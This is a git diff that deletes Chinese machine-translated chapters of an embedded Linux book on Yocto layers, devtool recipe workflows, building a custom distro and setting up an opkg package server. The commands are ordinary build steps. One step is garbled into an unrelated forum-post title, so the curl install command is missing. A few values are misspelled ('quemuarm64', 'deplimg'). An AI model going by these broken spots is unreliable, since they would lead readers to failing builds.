../meta-gattd - NOTE: Starting bitbake server... - Add your new layer with 'bitbake-layers add-layer ../meta-gattd' - ``` - - 该层被命名为`meta-gattd`,表示 GATT 守护进程。 您可以随心所欲地命名您的层,但请遵循`meta-`前缀约定。 - -4. 向上导航到新图层目录: - - ```sh - $ cd ../meta-gattd - ``` - -5. 检查图层的文件结构: - - ```sh - $ tree - . - ├── conf - │ └── layer.conf - ├── COPYING.MIT - ├── README - └── recipes-example - └── example - └── example_0.1.bb - ``` - -6. 重命名`recipes-examples`目录: - - ```sh - $ mv recipes-example recipes-gattd - ``` - -7. 重命名`example`目录: - - ```sh - $ cd recipes-gattd - $ mv example gattd - ``` - -8. 重命名`example`配方文件: - - ```sh - $ cd gattd - $ mv example_0.1.bb gattd_0.1.bb - ``` - -9. Display the renamed recipe file: - - ```sh - $ cat gattd_0.1.bb - ``` - - 您希望使用构建软件所需的元数据填充此配方,包括`SRC_URI`和`md5`校验和。 - -10. 现在,只需用我在`MELP/Chapter07/meta-gattd/recipes-gattd/gattd_0.1.bb`中为您提供的完成食谱替换`gattd_0.1.bb`即可。 -11. 为您的新层创建一个 Git 存储库,并将其推送到 GitHub。 - -现在,我们已经为应用创建了自定义层,让我们将其添加到您的工作图像中: - -1. 首先,导航到您克隆 Yocto 的目录之上一级: - - ```sh - $ cd ../../.. - ``` - -2. Clone your layer or my `meta-gattd` layer from GitHub: - - ```sh - $ git clone https://github.com/fvasquez/meta-gattd.git - ``` - - 将`fvasquez`替换为您的 GitHub 用户名,并将`meta-gattd`替换为您的层的 repo 名称。 - -3. Next, set up your BitBake work environment: - - ```sh - $ source poky/oe-init-build-env build-rpi - ``` - - 这将设置一组环境变量,并将您带回 - `build-rpi`目录。 - -4. Then, add the newly cloned layer to the image: - - ```sh - $ bitbake-layers add-layer ../meta-gattd - ``` - - 将`meta-gattd`替换为您的层的名称。 - -5. Verify that all the necessary layers have been added to the image: - - ```sh - $ bitbake-layers show-layers - ``` - - 列表中总共应该有九个层,包括您的新层。 - -6. Now, add the extra package to your `conf/local.conf` file: - - ```sh - CORE_IMAGE_EXTRA_INSTALL += "gattd" - ``` - - `CORE_IMAGE_EXTRA_INSTALL`是一个方便的变量,用于向从`core-image`类继承的映像添加额外的包,就像`rpi-test-image`所做的那样。 `IMAGE_INSTALL`是控制任何映像中包含哪些包的变量。 我们不能在`conf/local.conf`中使用`IMAGE_INSTALL += "gattd"`,因为它取代了在`core-image.bbclass`中完成的默认惰性赋值。 改为使用`IMAGE_INSTALL_append = " gattd"`或`CORE_IMAGE_EXTRA_INSTALL += " gattd"`。 - -7. 最后,重建映像: - - ```sh - $ bitbake rpi-test-image - ``` - -如果您的软件成功构建和安装,它应该包含在完成的`rpi-test-image-raspberrypi4-64.rootfs.wic.bz2`映像中。 将该镜像写入 microSD 卡,然后在您的 Raspberry PI 4 上引导它,以找出答案。 - -将包添加到`conf/local.conf`在开发的最早阶段是有意义的。 当您准备好与团队其他成员分享您的劳动成果时,您应该创建一个映像食谱并将您的包放在那里。 在上一章的末尾,我们一直在编写一个`nova-image`配方,将一个`helloworld`包添加到`core-image-minimal`中。 - -既然我们已经花了大量时间在实际硬件上测试新构建的映像,现在是时候将注意力转回到软件上了。 在下一节中,我们将介绍一个工具,该工具旨在简化我们在开发嵌入式软件时已经习惯的单调乏味的编译、测试和调试周期。 - -# 使用 devtool 捕获更改 - -在上一章中,您了解了如何从头开始创建`helloworld`程序的配方。 复制-粘贴方法对食谱进行打包最初可能会奏效,但随着项目的增长和需要维护的食谱数量成倍增加,很快就会变得非常令人沮丧。 我在这里向您展示一种更好的处理套餐食谱的方法--包括您的套餐食谱和由第三方提供给上游的套餐食谱。 它被称为`devtool`,是 Yocto 可扩展 SDK 的基石。 - -## 开发工作流 - -在开始使用`devtool`之前,您需要确保您是在一个新的层中工作,而不是在树中修改食谱。 否则,您很容易覆盖并丢失工作时间和工作时间: - -1. 首先,在您克隆 Yocto 的目录 Tory 之上导航一级。 -2. Next, set up your BitBake work environment: - - ```sh - $ source poky/oe-init-build-env build-mine - ``` - - 这将设置一组环境变量,并将您放入一个新的 - `build-mine`目录。 - -3. 为 64 位 ARM 设置`conf/local.conf`中的`MACHINE`: - - ```sh - MACHINE ?= "quemuarm64" - ``` - -4. 创建新图层: - - ```sh - $ bitbake-layers create-layer ../meta-mine - ``` - -5. 现在,添加您的新层: - - ```sh - $ bitbake-layers add-layer ../meta-mine - ``` - -6. Check that your new layer was created where you want it to be: - - ```sh - $ bitbake-layers show-layers - ``` - - 列表中总共应该有四个层;即`meta`、`meta-poky`、 - `meta-yocto-bsp`和`meta-mine`。 - -要获得开发工作流的第一手经验,您需要一个部署目标。 THAt 指的是建立一个形象: - -```sh -$ devtool build-image core-image-full-cmdline -``` - -第一次构建完整的映像需要几个小时。 完成后,继续并引导它: - -```sh -$ runqemu qemuarm64 nographic -[…] -Poky (Yocto Project Reference Distro) 3.1.6 qemuarm64 ttyAMA0 -qemuarm64 login: root -root@qemuarm64:~# -``` - -通过指定`nographic`选项,我们可以在单独的 shell 中直接运行 QEMU。 这使得打字比必须处理仿真图形输出更容易。 以`root`身份登录。 没有密码。 要在`nographic`模式下运行时退出 QEMU,请在目标 shell 中输入*Ctrl+A*,后跟`x`。 让 QEMU 暂时运行,因为我们需要它来进行后续练习。 您可以使用`ssh root@192.168.7.2`通过 SSH 进入此虚拟机。 - -`devtool`支持三种常见的开发工作流: - -* 添加新食谱。 -* 修补由现有配方构建的源代码。 -* 升级配方以获取上游源的更新版本。 - -当您启动这些工作流中的任何一个时,`devtool`会创建一个临时工作区供您进行更改。 此沙箱包含食谱文件和获取的源代码。 当您完成工作后,`devtool`会将您的更改集成回您的层中,以便可以销毁工作区。 - -## 创建新配方 - -假设有一些您想要的开源软件,但还没有人提交 -BitBake 食谱。 假设所讨论的软件是轻量级`bubblewrap`容器运行时。 在本例中,您可以从 GitHub 下载`bubblewrap`的源代码 tarball 发行版,并为其创建一个菜谱。 这正是`devtool add`所做的。 - -首先,`devtool add`使用自己的本地 Git 存储库创建一个工作区。 在这个新的工作区目录中,它创建一个`recipes/bubblewrap`目录,并将 tarball 内容解压到一个`sources/bubblewrap`目录中。 `devtool`了解流行的构建系统,如 Autotools 和 CMake,并将尽最大努力弄清楚这是什么类型的项目(在`bubblewrap`的情况下,Autotools)。 然后,它使用从以前的 BitBake 构建中缓存的解析的元数据和构建的包数据来计算`DEPENDS`和`RDEPENDS`的值,以及要继承和需要哪些文件。 让我们开始吧: - -1. 首先,打开另一个 shell 并导航到您克隆 Yocto 的目录之上的一个级别。 -2. Next, set up your BitBake environment: - - ```sh - $ source poky/oe-init-build-env build-mine - ``` - - 这将设置一组环境变量,并将您带回`build-mine`工作目录。 - -3. Then, run `devtool add` with the URL of the source tarball release: - - ```sh - $ devtool add https://github.com/containers/bubblewrap/releases/download/v0.4.1/bubblewrap-0.4.1.tar.xz - ``` - - 如果一切按计划进行,`devtool add`将生成一个食谱,然后您可以构建该食谱。 - -4. Before you build your new recipe, let's take a look at it: - - ```sh - $ devtool edit-recipe bubblewrap - ``` - - `devtool`将在编辑器中打开。 请注意,`devtool`已经为您填写了`md5`校验和。 - -5. Add this line to the end of `bubblewrap_0.4.1.bb`: - - ```sh - FILES_${PN} += "/usr/share/*" - ``` - - 更正任何明显的错误,保存所有更改,然后退出编辑器。 - -6. 要构建新配方,请使用以下命令: - - ```sh - $ devtool build bubblewrap - ``` - -7. Next, deploy the compiled `bwrap` executable to the target emulator: - - ```sh - $ devtool deploy-target bubblewrap root@192.168.7.2 - ``` - - 这会将必要的构建构件安装到目标仿真器上。 - -8. From your QEMU shell, run the `bwrap` executable that you just built and deployed: - - ```sh - root@qemuarm64:~# bwrap --help - ``` - - 如果您看到一堆与`bubblewrap`相关的自我文档,则说明构建和部署是成功的。 如果没有,则使用`devtool`重复编辑、构建和部署步骤,直到您确信`bubblewrap`有效。 - -9. 满意后,清理目标仿真器: - - ```sh - $ devtool undeploy-target bubblewrap root@192.168.7.2 - ``` - -10. 将所有工作合并回您的图层: - - ```sh - $ devtool finish -f bubblewrap ../meta-mine - ``` - -11. 从工作区中删除个剩余源: - - ```sh - $ rm -rf workspace/sources/bubblewrap - ``` - -如果你认为其他人可能会从你的新食谱中受益,那么就向 Yocto 提交一个补丁。 - -## 修改由配方构建的源代码 - -假设您在命令行 JSON 预处理器**JQ**中发现了错误。 您搜索位于[https://github.com/stedolan/jq](https://github.com/stedolan/jq)的 Git 存储库,发现没有人报告该问题。 然后,您可以查看源代码。 事实证明,修复只需要少量的代码更改,所以您决定自己打补丁`jq`。 这就是`devtool modify`的用武之地。 - -这一次,当`devtool`查看 Yocto 的缓存元数据时,它发现`jq`的配方已经存在。 与`devtool add`类似,`devtool modify`使用自己的本地 Git 存储库创建一个新的临时工作区,在其中复制食谱文件并提取上游源代码。 `jq`是用 C 语言编写的,位于名为`meta-oe`的现有 OpenEmbedded 层中。 我们需要将该层以及`jq`的依赖项添加到我们的工作映像中,然后才能修改包源: - -1. 首先,从您的`build-mine`环境中删除几个层: - - ```sh - $ bitbake-layers remove-layer workspace - $ bitbake-layers remove-layer meta-mine - ``` - -2. 接下来,从 GitHub: - - ```sh - $ git clone -b dunfell https://github.com/openembedded/meta-openembedded.git ../meta-openembedded - ``` - - 克隆`meta-openembedded`存储库 -3. 然后,将`meta-oe`和`meta-mine`层添加到您的图像: - - ```sh - $ bitbake-layers add-layer ../meta-openembedded/meta-oe - $ bitbake-layers add-layer ../meta-mine - ``` - -4. Verify that all the necessary layers have been added to the image: - - ```sh - $ bitbake-layers show-layers - ``` - - 列表中总共应该有五个层,即`meta`、`meta-poky`、`meta-yocto-bsp`、`meta-oe`和`meta-mine`。 - -5. 将以下行添加到`conf/local.conf`,因为`onig`包是`jq`的运行时依赖项: - - ```sh - IMAGE_INSTALL_append = " onig" - ``` - -6. 重建您的映像: - - ```sh - $ devtool build-image core-image-full-cmdline - ``` - -7. 使用*Ctrl+A*和`x`从另一个 shell 退出 QEMU,然后重新启动仿真器: - - ```sh - $ runqemu qemuarm64 nographic - ``` - -与许多修补工具一样,`devtool modify`使用您的提交消息生成修补程序文件名,因此请保持您的提交消息简短而有意义。 它还会根据您的 Git 历史记录自动生成补丁文件本身,并使用新的补丁文件名创建一个`.bbappend`文件。 记住修剪和挤压 Git 提交,以便`devtool`将您的工作划分为合理的补丁文件: - -1. 使用要修改的包的名称运行`devtool modify`: - - ```sh - $ devtool modify jq - ``` - -2. 使用首选编辑器更改代码。 使用标准的 Git 添加和提交工作流来跟踪您所做的工作。 -3. 使用以下命令构建修改后的源代码: - - ```sh - $ devtool build jq - ``` - -4. Next, deploy the compiled `jq` executable to the target emulator: - - ```sh - $ devtool deploy-target jq root@192.168.7.2 - ``` - - 这会将必要的构建构件安装到目标仿真器上。 - - 如果连接失败,则删除过时仿真器的密钥,如下所示: - - ```sh - $ ssh-keygen -f "/home/frank/.ssh/known_hosts" \ - -R "192.168.7.2" - ``` - - 将路径中的`frank`替换为您的用户名。 - -5. 在您的 QEMU shell 中,运行您刚刚构建和部署的`jq`可执行文件。 如果您不能再复制该错误,则您的更改起作用了。 否则,重复编辑、构建和部署步骤,直到您满意为止。 -6. 满意后,清理目标仿真 r: - - ```sh - $ devtool undeploy-target jq root@192.168.7.2 - ``` - -7. Merge all your work back into your layer: - - ```sh - $ devtool finish jq ../meta-mine - ``` - - 如果合并因为 Git 源代码树脏而失败,则删除或取消任何剩余的`jq`构建构件,然后重试`devtool finish`。 - -8. 从工作区中删除剩余源: - - ```sh - $ rm -rf workspace/sources/jq - ``` - -如果您认为其他人可能会从您的补丁中受益,那么将它们提交给上游项目维护人员。 - -## 将配方升级到较新版本 - -假设您在目标设备上运行一个 Flask Web 服务器,并且刚刚发布了新版本的 Flask。 这个最新版本的 Flask 有一个新功能,你就是迫不及待地想要上手。 您不必等待 Flask 配方维护人员升级到新的发布版本,而是决定自己升级配方。 您可能认为这很容易,就像在菜谱文件中更改版本号一样简单,但其中也涉及`md5`个校验和。 如果这个繁琐的过程可以完全自动化,那不是很好吗? 那么,猜猜`devtool upgrade`是用来做什么的? - -**Flask**是一个 Python3 库,因此在升级之前,您的映像需要包含 Python3、Flask 和 Flask 的依赖项。 要获得所有这些信息,请执行以下步骤: - -1. 首先,从您的`build-mine`环境中删除几个层: - - ```sh - $ bitbake-layers remove-layer workspace - $ bitbake-layers remove-layer meta-mine - ``` - -2. 接下来,将`meta-python`和`meta-mine`层添加到您的图像: - - ```sh - $ bitbake-layers add-layer ../meta-openembedded/meta-python - $ bitbake-layers add-layer ../meta-mine - ``` - -3. Verify that all the necessary layers have been added to the image: - - ```sh - $ bitbake-layers show-layers - ``` - - 列表中总共应该有六个层;即`meta`、`meta-poky`、 - `meta-yocto-bsp`、`meta-oe`、`meta-python`和`meta-mine`。 - -4. Now, there should be lots of Python modules available for you to use: - - ```sh - $ bitbake -s | grep ^python3 - ``` - - 其中一个模块是`python3-flask`。 - -5. 通过在`conf/local.conf`内搜索`python3`和`python3-flask`,确保`python3`和`python3-flask`正在构建并安装在 - 映像上。 如果它们不在那里 - ,则可以通过将以下行添加到您的`conf/local.conf`来包括它们: - - ```sh - IMAGE_INSTALL_append = " python3 python3-flask" - ``` - -6. 重建您的映像: - - ```sh - $ devtool build-image core-image-full-cmdline - ``` - -7. Exit QEMU with *Ctrl + A* and `x` from your other shell and restart the emulator: - - ```sh - $ runqemu qemuarm64 nographic - ``` - - 重要注 - - 在撰写本文时,`meta-python`附带的 Flask 版本是 1.1.1,PyPI 上提供的最新版本是 1.1.2。 - -现在所有的部分都已就位,让我们进行升级: - -1. 首先,使用软件包名称和要升级到的目标版本运行`devtool upgrade`: - - ```sh - $ devtool upgrade python3-flask --version 1.1.2 - ``` - -2. Before you build your upgraded recipe, let's take a look at it: - - ```sh - $ devtool edit-recipe python3-flask - ``` - - `devtool`将在 - 编辑器中打开`recipes/python3/python3-flask_1.1.2.bb`: - - ```sh - inherit pypi setuptools3 - require python-flask.inc - ``` - - 此配方中没有特定于版本的内容需要更改,因此请保存新文件并退出编辑器。 - -3. 要构建新食谱,请使用以下命令: - - ```sh - $ devtool build python3-flask - ``` - -4. Next, deploy your new Flask module to the target emulator: - - ```sh - $ devtool deploy-target python3-flask root@192.168.7.2 - ``` - - 这会将必要的构建构件安装到目标仿真器上。 - - 如果连接失败,则删除过时仿真器的密钥,如下所示: - - ```sh - $ ssh-keygen -f "/home/frank/.ssh/known_hosts" \ - -R "192.168.7.2" - ``` - - 将路径中的`frank`替换为您的用户名。 - -5. From your QEMU shell, launch a `python3` REPL and check what version of Flask was deployed: - - ```sh - root@qemuarm64:~# python3 - >>> import flask - >>> flask.__version__ - '1.1.2' - >>> - ``` - - 如果在 REPL 中输入`flask.__version__`返回`'1.1.2'`,则升级成功。 如果没有,则使用`devtool`重复编辑、构建和部署步骤,直到找出错误所在。 - -6. 满意后,清理目标仿真器: - - ```sh - $ devtool undeploy-target python3-flask root@192.168.7.2 - ``` - -7. Merge all your work back into your layer: - - ```sh - $ devtool finish python3-flask ../meta-mine - ``` - - 如果合并因为 Git 源代码树脏而失败,则删除或取消任何剩余的`python3-flask`构建构件,然后重试`devtool finish`。 - -8. 从工作区中删除个剩余源: - - ```sh - $ rm -rf workspace/sources/python3-flask - ``` - -如果你认为其他人可能也急于将他们的发行版升级到最新版本的软件包,那么请向 Yocto 提交补丁。 - -最后,我们谈到了如何构建我们自己的发行版。 这是 Yocto 独有的功能,特别是 Buildroot 中没有的功能。 **发行版层**是一个强大的抽象,可以在针对不同硬件的多个项目之间共享。 - -# 构建自己的发行版 - -在上一章的开头,我告诉过您,Yocto 让您能够构建自己的自定义 Linux 发行版。 这是通过像 meta-poky 这样的发行版层来实现的。 正如我们已经看到的,您不需要自己的发行版图层来构建您自己的自定义映像。 您可以在不修改 POKY 的任何分发元数据的情况下大有作为。 但是,如果您想改变发行版策略(例如,特性、C 库实现、包管理器的选择等等),那么您可以选择构建自己的发行版。 - -构建自己的发行版是一个分三步走的过程: - -1. 创建一个新的发行版图层。 -2. 创建发行版配置文件。 -3. 在您的发行版中添加更多食谱。 - -但是在我们进入如何做到这一点的技术细节之前,让我们先考虑一下什么时候是推出您自己的发行版的合适时机。 - -## 何时和何时不 - -发行版设置定义包格式(`rpm`、`deb`或`ipk`)、包源、`init`系统(`systemd`或`sysvinit`)以及特定的包版本。 您可以通过继承 POKY 并覆盖您的发行版需要更改的内容,在一个新的层中创建您自己的发行版。 但是,如果您发现除了明显的本地设置(如相对路径)之外,您还向构建目录的`local.conf`文件添加了很多值,那么可能是时候从头开始创建您自己的发行版了。 - -## 创建新的发行版图层 - -您知道如何创建层。 创建发行版图层也没什么不同。 让我们开始吧: - -1. 首先,在克隆 Yocto 的目录上导航一级。 -2. Next, set up your BitBake work environment: - - ```sh - $ source poky/oe-init-build-env build-rpi - ``` - - 这将设置一组环境变量,并将您返回到前面的`build-rpi`目录。 - -3. 从`build-rpi`环境中删除`meta-gattd`层: - - ```sh - $ bitbake-layers remove-layer meta-gattd - ``` - -4. 注释或删除`conf/local.conf`中的`CORE_IMAGE_EXTRA_INSTALL`: - - ```sh - #CORE_IMAGE_EXTRA_INSTALL += "gattd" - ``` - -5. 为我们的发行版创建一个新层: - - ```sh - $ bitbake-layers create-layer ../meta-mackerel - ``` - -6. 现在,将我们的新层添加到`build-rpi`配置: - - ```sh - $ bitbake-layers add-layer ../meta-mackerel - ``` - -我们发行版的名称是`mackerel`。 创建我们自己的发行版层使我们能够将发行版策略与包食谱(实现)分开。 - -## 配置您的发行版 - -在您的 -`meta-mackerel`发行版层的`conf/distro`目录中创建发行版配置文件。 将其命名为与您的发行版相同的名称(例如,`mackerel.conf`)。 - -在`conf/distro/mackerel.conf`中设置所需的`DISTRO_NAME`和`DISTRO_VERSSION`变量: - -```sh -DISTRO_NAME = "Mackerel (Mackerel Embedded Linux Distro)" -DISTRO_VERSION = "0.1" -``` - -还可以在`mackerel.conf`中设置以下可选变量: - -```sh -DISTRO_FEATURES: Add software support for these features. -DISTRO_EXTRA_RDEPENDS: Add these packages to all images. -DISTRO_EXTRA_RRECOMMENDS: Add these packages if they exist. -TCLIBC: Select this version of the C standard library. -``` - -一旦您完成了这些变量,您就可以在 -`conf/local.conf`中定义您想要用于发行版的任何变量。 查看其他发行版的`conf/distro`目录,如 poky 目录,了解它们是如何组织内容或复制并使用`conf/distro/defaultsetup.conf`作为模板的。 如果您决定将发行版配置文件分解为多个包含文件,请确保将它们放在层的`conf/distro/include`目录中。 - -## 向您的发行版添加更多食谱 - -向您的发行层添加更多与发行版相关的元数据。 您将需要为其他配置文件添加配方。 这些是尚未由现有配方安装的配置文件。 更重要的是,您还需要添加附加文件来定制现有食谱,并将它们的配置文件添加到您的发行版中。 - -## 运行时包管理 - -为您的发行版映像包含一个 Package 管理器非常有利于实现安全的无线更新和快速应用开发。 当您的团队开发一天多次旋转的软件时,频繁的包更新是保持每个人同步和前进的一种方式。 完全映像更新是不必要的(仅更改一个软件包),并且具有中断性(需要重新启动)。 能够从远程服务器获取包并将其安装到目标设备称为*运行时包管理*。 - -Yocto 支持不同的包格式(`rpm`和`ipk`)和不同的包管理器(`dnf`和`opkg`)。 您为发行版选择的包格式决定了您可以在其中包含哪个包管理器。 - -要为我们的发行版选择包格式,您可以在发行版的`conf`文件中设置`PACKAGE_CLASSES`变量 -。 将此行添加到`meta-mackerel/conf/distro/mackerel.conf`: - -```sh -PACKAGE_CLASSES ?= "package_ipk" -``` - -现在,让我们返回到`build-rpi`目录: - -```sh -$ source poky/oe-init-build-env build-rpi -``` - -我们的目标是 Raspberry PI 4,因此请确保在`conf/local.conf`中仍相应地设置了`MACHINE`: - -```sh -MACHINE = "raspberrypi4-64" -``` - -注释掉构建目录的`conf/local.conf`中的`PACKAGE_CLASSES`,因为我们的发行版已经选择了`package_ipk`: - -```sh -#PACKAGE_CLASSES ?= "package_rpm" -``` - -要启用运行时包管理,请将`"package-management"`附加到构建目录的`conf/local.conf`的`EXTRA_IMAGE_FEATURES`列表中: - -```sh -EXTRA_IMAGE_FEATURES ?= "debug-tweaks ssh-server-openssh package-management" -``` - -这将安装一个包数据库,其中包含当前版本中的所有包到您的发行版映像中。 预填充包数据库是可选的,因为在部署发行版映像之后,您始终可以在目标系统上初始化包数据库。 - -最后,将构建目录的`conf/local.conf`文件中的`DISTRO`变量设置为我们的发行版的名称: - -```sh -DISTRO = "mackerel" -``` - -这会将构建目录的`conf/local.conf`文件指向我们的发行版配置文件。 - -最后,我们准备好构建我们的发行版: - -```sh -$ bitbake -c clean rpi-test-image -$ bitbake rpi-test-image -``` - -我们正在使用不同的包格式重建`rpi-test-image`,因此这将需要一些时间。 这一次,完成的图像放在不同的目录中: - -```sh -$ ls tmp-glibc/deplimg/raspberrypi4-64/rpi-test-image*wic.bz2 -``` - -使用 Etcher 将镜像写入 microSD 卡,并在您的 Raspberry PI 4 上启动它。将其插入您的以太网和 SSH,就像您之前所做的那样: - -```sh -$ ssh root@raspberrypi4-64.local -``` - -如果连接失败,则删除 PI 的过时密钥,如下所示: - -```sh -$ ssh-keygen -f "/home/frank/.ssh/known_hosts" \ --R "raspberrypi4-64.local" -``` - -将路径中的`frank`替换为您的用户名。 - -登录后,请验证是否已安装`opkg`包管理器: - -```sh -root@raspberrypi4-64:~# which opkg -/usr/bin/opkg -``` - -如果没有远程包服务器,包管理器就没有多大用处。 接下来让我们来看看这一点。 - -# 设置远程包服务器 - -设置 HTTP 远程包服务器并将目标客户端指向它比您想象的要容易。 不同包管理器的客户端服务器地址配置各不相同。 我们将在 Raspberry PI 4 上手动配置`opkg`。 - -让我们从包服务器开始: - -1. 首先,在克隆 Yocto 的目录上导航一级。 -2. Next, set up your BitBake work environment: - - ```sh - $ source poky/oe-init-build-env build-rpi - ``` - - 这将设置一组环境变量,并将您带回 - `build-rpi`目录。 - -3. 构建`curl`包: - - ```sh - $ bitbake curl - ``` - -4. 填充包索引: - - ```sh - $ bitbake package-index - ``` - -5. Locate the package installer files: - - ```sh - $ ls tmp-glibc/deploy/ipk - ``` - - 在`ipk`中应该有三个名为`aarch64`、`all`和`raspberrypi4_64`的目录。 *架构目录*是`aarch64`,而*机器目录*是`raspberrypi4_64`。 这两个目录的名称会有所不同,具体取决于构建映像的配置方式。 - -6. 导航到`ipk`目录,软件包安装程序文件位于该目录: - - ```sh - $ cd tmp-glibc/deploy/ipk - ``` - -7. 获取您的 Linux 主机的 IP 地址。 -8. Start the HTTP package server: - - ```sh - $ sudo python3 -m http.server --bind 192.168.1.69 80 - [sudo] password for frank: - Serving HTTP on 192.168.1.69 port 80 (http://192.168.1.69:80/) ... - ``` - - 将`192.168.1.69`替换为您的 Linux 主机的 IP 地址。 - -现在,让我们配置目标客户端: - -1. SSH 回到你的覆盆子 PI 4: - - ```sh - $ ssh root@raspberrypi4-64.local - ``` - -2. Edit `/etc/opkg/opkg.conf` so that it looks like this: - - ```sh - src/gz all http://192.168.1.69/all - src/gz aarch64 http://192.168.1.69/aarch64 - src/gz raspberrypi4_64 http://192.168.1.69/raspberrypi4_64 - dest root / - option lists_dir /var/lib/opkg/lists - ``` - - 将`192.168.1.69`替换为您的 Linux 主机的 IP 地址。 - -3. 运行`opkg update`: - - ```sh - root@raspberrypi4-64:~# opkg update - Downloading http://192.168.1.69/all/Packages.gz. - Updated source 'all'. - Downloading http://192.168.1.69/aarch64/Packages.gz. - Updated source 'aarch64'. - Downloading http://192.168.1.69/raspberrypi4_64/Packages.gz. - Updated source 'raspberrypi4_64'. - ``` - -4. Try to run `curl`: - - ```sh - root@raspberrypi4-64:~# curl - ``` - - 命令应该失败,因为没有安装`curl`。 - -5. 发帖主题:Re:Колибри0.7.8.0 -6. 验证是否已安装`curl`: - - ```sh - root@raspberrypi4-64:~# curl - curl: try 'curl --help' for more information - root@raspberrypi4-64:~# which curl - /usr/bin/curl - ``` - -当您从 Linux 主机继续在`build-rpi`目录中工作时,您可以检查来自 Raspberry PI 4 的更新: - -```sh -root@raspberrypi4-64:~# opkg list-upgradable -``` - -然后,您可以应用它们: - -```sh -root@raspberrypi4-64:~# opkg upgrade -``` - -这比重写映像、换出 microSD 卡和重启要快。 - -# 摘要 - -我知道那是很难接受的。 相信我--这只是个开始。 Yocto 是一个永无止境的兔子洞,你不会爬出来。 食谱和工具在不断变化,虽然有很多文档,但遗憾的是它们已经过时了。 幸运的是,有`devtool`,它自动消除了 -复制-粘贴开发中的许多单调乏味和错误。 如果您使用为您提供的工具,并不断地将您的工作保存到您自己的图层中,Yocto 就不会很痛苦了。 不知不觉中,您就已经开始使用自己的发行版并运行自己的远程包服务器了。 - -远程包服务器只是部署包和应用的一种方式。 我们将在后面的[*第 16 章*](16.html#_idTextAnchor449),*Packaging Python*中了解其他一些内容。 尽管标题不同,但我们将在该章中介绍的一些技术(例如,Conda 和 Docker)适用于任何编程语言。 尽管包管理器非常适合开发,但运行时包管理并不常用于生产中运行的嵌入式系统。 我们将在[*第 10 章*](10.html#_idTextAnchor278),*《现场更新软件》*中仔细研究完整映像和集装箱化空中更新机制。 - -# 进一步阅读 - -以下资源包含有关本章中介绍的主题的详细信息: - -* *过渡到自定义环境*,Yocto 项目:[https://www.yoctoproject.org/docs/transitioning-to-a-custom-environment](https://www.yoctoproject.org/docs/transitioning-to-a-custom-environment) -* *Yocto 项目开发手册*,Scott Rifenbark:[https://www.yoctoproject.org/docs/latest/dev-manual/dev-manual.html](https://www.yoctoproject.org/docs/latest/dev-manual/dev-manual.html) -* *使用开发工具简化 Yocto 项目工作流程*,作者:Tim Orling: - [https://www.youtube.com/watch?v=CiD7rB35CRE](https://www.youtube.com/watch?v=CiD7rB35CRE) -* *使用 Yocto 构建工作站作为远程 opkg 存储库*,Jumpnow Technologies:[https://jumpnowtek.com/yocto/Using-your-build-workstation-as-a-remote-package-repository.html](https://jumpnowtek.com/yocto/Using-your-build-workstation-as-a-remote-package-repository.html) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/08.md b/docs/master-emb-linux-prog/08.md deleted file mode 100644 index f21de426..00000000 --- a/docs/master-emb-linux-prog/08.md +++ /dev/null @@ -1,695 +0,0 @@ -# 八、引擎盖下的 Yocto - -在本章中,我们将深入研究嵌入式 Linux 的主要构建系统**Yocto**。 我们将从介绍 Yocto 的架构开始,逐步介绍整个构建工作流程。 接下来,我们将看看 Yocto 的多层方法,以及为什么将元数据分成不同的层是个好主意。 随着越来越多的**BitBake**层在您的项目中堆积起来,问题将不可避免地出现。 我们将研究调试 Yocto 构建失败的多种方法,包括任务日志、`devshell`和依赖图。 - -在分析完构建系统之后,我们将回顾上一章中关于 BitBake 的主题。 这一次,我们将介绍更多的基本语法和语义,以便您可以从头开始编写您自己的食谱。 我们将从实际的菜谱、包含和配置文件中查看 BitBake shell 和 Python 代码的真实示例,这样您就可以知道当您开始涉足 Yocto 的元数据海洋时会发生什么。 - -在本章中,我们将介绍以下主题: - -* 分解 Yocto 的体系结构和工作流 -* 将元数据分成多个图层 -* 生成失败故障排除 -* 了解 BitBake 语法和语义 - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您具备以下条件: - -* 至少具有 60 GB 可用磁盘空间的基于 Linux 的系统主机系统 -* Yocto 3.1(邓费尔)LTS 版本 - -您应该已经在[*第 6 章*](06.html#_idTextAnchor164), -*选择构建系统*中构建了 Yocto 的 3.1(Dunfall)LTS 发行版。 如果没有,请参考*Yocto Project Quick Build*指南([https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html))的*Compatible Linux Distribution*和*Build Host Packages*部分,然后根据[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上构建 Yocto。 - -# 分解 Yocto 的架构和工作流程 - -**Yocto**是一个复杂的野兽。 拆解它是理解它的第一步。 构建系统的体系结构可以根据其工作流程进行组织。 Yocto 从它所基于的**OpenEmbbedded**项目获得其工作流。 源材料以 BitBake 食谱的形式以元数据的形式作为输入输入到系统中。 构建系统使用此元数据来获取、配置源代码,并将其编译为二进制包提要。 在生成最终的 Linux 映像和 SDK 之前,这些单独的输出包将在登台区域内组装,并带有一个清单,其中包括每个包的许可证: - -![Figure 8.1 – OpenEmbedded architecture workflow](img/B11566_08_01.jpg) - -图 8.1-OpenEmbedded 体系结构工作流 - -以下是 Yocto 构建系统工作流程的 7 个步骤,如上图 -所示: - -1. 定义策略、计算机和软件元数据的层。 -2. 从软件项目的源 URI 获取源。 -3. 解压源代码,应用任何补丁程序,然后编译软件。 -4. 将构建构件安装到临时区域以进行打包。 -5. 将安装的构建构件捆绑到根文件系统的包提要中。 -6. 在提交二进制程序包源之前,对其运行 QA 检查。 -7. 并行生成完成的 Linux 镜像和 SDK。 - -除第一步和最后一步外,此工作流程中的所有步骤都是在每个配方的基础上执行的。 代码编译、清理和其他形式的静态分析可能发生在编译之前或之后。 单元和集成测试可以直接在构建机器上运行,也可以在充当目标 SoC 替身的 QEMU 实例上运行,也可以在目标本身上运行。 构建完成后,可以将完成的映像部署到一组专用设备上进行进一步测试。 作为嵌入式 Linux 构建系统的黄金标准,Yocto 是许多产品的软件 CI/CD 管道的重要组件。 - -Yocto 生成的包可以是`rpm`、`deb`或`ipk`格式。 默认情况下,除了主二进制程序包之外,构建系统还尝试为处方生成以下所有程序包: - -* `dbg`:二进制文件,包括调试符号 -* `static-dev`:头文件和静态库 -* `dev`:头文件和共享库符号链接 -* `doc`:文档,包括手册页 -* `locale`:语言翻译信息 - -除非启用`ALLOW_EMPTY` -变量,否则不会生成不包含文件的包。 